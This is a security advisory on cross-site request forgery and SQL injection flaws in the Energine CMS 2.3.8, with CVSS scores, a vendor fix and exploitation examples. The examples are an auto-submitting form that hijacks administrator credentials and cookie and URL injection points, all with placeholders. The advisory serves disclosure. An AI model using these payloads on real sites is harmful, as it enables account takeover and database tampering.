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Multiple Vulnerabilities in Energine

Advisory ID:HTB22655
Product:Energine
Vendor:Energine
Vulnerable Versions:2.3.8 and probably prior
Tested Version:2.3.8
Advisory Publication:October 13, 2010 [without technical details]
Vendor Notification:October 13, 2010
Public Disclosure:October 27, 2010
Vulnerability Type:Cross-Site Request Forgery [CWE-352]
SQL Injection [CWE-89]
Risk Level:High
CVSSv2 Base Scores:5.1 (AV:N/AC:H/Au:N/C:P/I:P/A:P)
7.5 (AV:N/AC:L/Au:N/C:P/I:P/A:P)
Solution Status:Fixed by Vendor
Discovered and Provided:High-Tech Bridge Security Research Lab
 

Advisory Details:

High-Tech Bridge SA Security Research Lab has discovered multiple vulnerabilities in Energine which could be exploited to perform cross-site request forgery and SQL injection attacks.

1) Cross-site request forgery (CSRF) in in Energine
The vulnerability exists due to insufficient validation of the request origin in core/modules/user/components/UserEditor.class.php. A remote attacker can create a specially crafted link, trick a logged-in administrator into following that link and change administrator`s credentials.
Exploitation example:
<form action="http://host/en/single/pageToolBar/user/save" method="post" name="main">
<input type="hidden" name="componentAction" value="edit">
<input type="hidden" name="user_users[u_id]" value="USERID">
<input type="hidden" name="user_users[u_name]" value="email@example.com">
<input type="hidden" name="user_users[u_password]" value="">
<input type="hidden" name="user_users[u_fullname]" value="Test">
<input type="hidden" name="user_users[u_avatar_prfile]" value="">
<input type="hidden" name="group_id[]" value="1">
<input type="hidden" name="group_id[]" value="4">
</form>
<script>
document.main.submit();
</script>


2) SQL injection vulnerabilities in Energine
2.1 An input validation error exists in the "NRGNSID" cookie parameter in index.php. A remote attacker can modify NRGNSID cookie and execute arbitrary SQL commands in application`s database. Successful exploitation may allow an attacker to read, modify, add or delete arbitrary data in database.
Exploitation example:
Cookie: NRGNSID='SQL_CODE_HERE
2.2 An input validation error exists in the "product" parameter in core/modules/shop/components/ProductList.class.php. A remote attacker can send a specially crafted request and execute arbitrary SQL commands in application`s database. Successful exploitation may allow an attacker to read, modify, add or delete arbitrary data in database.
Exploitation example:
http://host/shop/search-results/?product=%22+ANY_SQL

How to Detect Cross-Site Request Forgery Vulnerabilities
Website Security Test
  • GDPR & PCI DSS Test
  • Website CMS Security Test
  • CSP & HTTP Headers Check
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Solution:
Upgrade to version 2.6


References:
[1] High-Tech Bridge Advisory HTB22655 - https://www.immuniweb.com/advisory/HTB22655 - Multiple Vulnerabilities in Energine
[2] Energine - energine.org – Energine is an open source content management system.
[3] Common Weakness Enumeration (CWE) - http://cwe.mitre.org - targeted to developers and security practitioners, CWE is a formal list of software weakness types.

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